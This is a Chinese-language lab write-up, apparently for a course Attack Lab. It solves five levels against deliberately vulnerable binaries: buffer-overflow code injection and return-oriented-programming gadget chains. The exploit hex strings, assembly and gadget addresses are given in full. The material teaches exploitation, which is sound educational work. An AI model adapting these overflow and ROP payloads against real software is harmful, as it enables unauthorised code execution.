my third week challenge
attack lab
cookie.txt
一个8为16进行数,作为攻击的特殊标志符
farm.c
在ROP攻击中作为gadgets的产生源
ctarget
代码注入攻击的目标文件
rtarget
ROP攻击的目标文件
hex2row
将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符
执行
./hex2raw -i 文件名 | ./ctarget -q
可以验证答案是否正确
touch1
1 2 3 4 5 6 7
| void __cdecl test() { unsigned int v0; // eax
v0 = getbuf(); __printf_chk(1LL, "No exploit. Getbuf returned 0x%x\n", v0); }
|
调用test之后调用getbuf
1 2 3 4 5 6 7
| unsigned int __cdecl getbuf() { char buf[32]; // [rsp+0h] [rbp-28h] BYREF
Gets(buf); return 1; }
|
可以看见用的是gets函数可以无限读取造成溢出
buf距离返回地址0x28
touch1要求就是溢出跳转到touch1这里
因为文件的特殊性不能直接运行无法用pwntools模块搞定要配合给的hex2row文件
虽然buf距离返回地址0x28但是buf只有32大小所以我们传入40个字 在传入我们的地址0x4017c0
构造如下
1 2 3 4 5
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
|
touch2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void __fastcall __noreturn touch2(unsigned int val) { vlevel = 2; if ( val == cookie ) { __printf_chk(1LL, "Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { __printf_chk(1LL, "Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
|
比较cookie值 cookie是0x59b997fa
利用溢出跳转到函数touch2并且传入cookie值
我们需要用到汇编语言编写命令
1 2 3
| movq $0x59b997fa, %rdi pushq 0x4017ec ret
|
rdi里面存放我们cookie的值
0x4017ec在ida是完成压栈命令
1
| 00000000004017EC sub rsp, 8
|
我们将命令转为二进制文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| q@ubuntu:~$ gcc -c 2.s q@ubuntu:~$ objdump -d 2.o
2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: ff 34 25 ec 17 40 00 pushq 0x4017ec e: c3 retq
|
我们还需要知道栈指针的初始指向地址 从这个地方开始传入数据,所以要查看rsp
用gdb断点打在getbuf
用命令p/x $rsp
1 2
| pwndbg> p /x $rsp $1 = 0x5561dc78
|
我们需要传入的字符如下
1 2 3 4 5
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
|
touch3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void __fastcall __noreturn touch3(char *sval) { vlevel = 3; if ( hexmatch(cookie, sval) ) { __printf_chk(1LL, "Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { __printf_chk(1LL, "Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
|
调用hexmatch如下 去对比传入值和cookie是不是一样的
不过要注意strncmp()是字符串的比对我们还要用
man ascil查看cookie对应的16进制ASCII码
1 2 3 4 5 6 7 8 9 10 11
| int __fastcall hexmatch(unsigned int val, char *sval) { const char *v2; // rbx char cbuf[110]; // [rsp+0h] [rbp-98h] BYREF unsigned __int64 v5; // [rsp+78h] [rbp-20h]
v5 = __readfsqword(0x28u); v2 = &cbuf[random() % 100]; __sprintf_chk(v2, 1LL, -1LL, "%.8x", val); return strncmp(sval, v2, 9uLL) == 0; }
|
我们从touch2可以知道起始栈地址是0x5561dc78
0x28+8=48
0x5561dc78+48=0x5561dca8这个就是我们字符串进行的地址啦
汇编编写
1 2 3
| movq $0x5561dca8, %rdi pushq 0x4018fa ret
|
1 2 3 4 5 6 7 8 9 10 11 12
| q@ubuntu:~$ objdump -d 3.o
3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: ff 34 25 fa 18 40 00 pushq 0x4018fa e: c3 retq
|
综上所述得到注入字符
1 2 3 4 5 6
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
|
rop攻击
touch 2
这次我们不直接从栈上去攻击
而是利用程序现有的汇编片段去构建完整的汇编指令
输入objdump -d rtarget 可以看见ctarget汇编片段
本题需要构造的汇编代码
1 2
| popq %rax movq %rax, %rdi
|
汇编码如下
)
popq %rax 58
movq %rax, %rdi 48 89 c7
如下rax要的包含在这 我们可以得到0x4019ab就是popq %rax
1 2 3 4
| 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
|
如下是mov的
1 2 3
| 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq
|
movq %rax, %rdi就是0x4019a2
so 我们得到的注入字符
填充40个字,然后popq %rax
传入cookie,接着让rdi指向rax指向的地址
最后call touch2
1 2 3 4 5 6 7 8
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
|
touch3
虽然是rop攻击但是整体思路不算变化太大,但是这里找地址传参的话要注意栈地址是随机的 我们还要多加一步找字符串的偏移量
1.获取rsp指向地址传给rdi
2.找偏移地址送到rsi
3.lea (%rdi,%rsi,1),%rax,将字符串的首地址传送到%rax, 再传送到%rdi
4.call touch3
获取rsp然后给到rax再把rax传到rdi完成第一步
1 2 3
| 0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3
|
1 2 3
| 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3
|
movq %rsp, %rax 0x401a06
movq %rax, %rdi 0x4019a2
接着把偏移pop到rax
1 2 3
| 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3
|
popq %rax 0x4019cc
接着将eax传到edx
1 2 3
| 00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3
|
movl %eax, %edx 0x4019dd
把edx给ecx
1 2 3
| 0000000000401a6e <setval_167>: 401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi) 401a74: c3
|
movl %edx, %ecx 0x401a70
把ecx给esi
1 2 3
| 0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 retq
|
movl %ecx, %esi 0x401a13
将栈顶+偏移量得到字符串首地址给到rax
1 2 3
| 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
|
0x4019d6
然后把rax传到rdi
1 2 3
| 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3
|
movq %rax, %rdi 0x4019a2
综上所述得到字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
|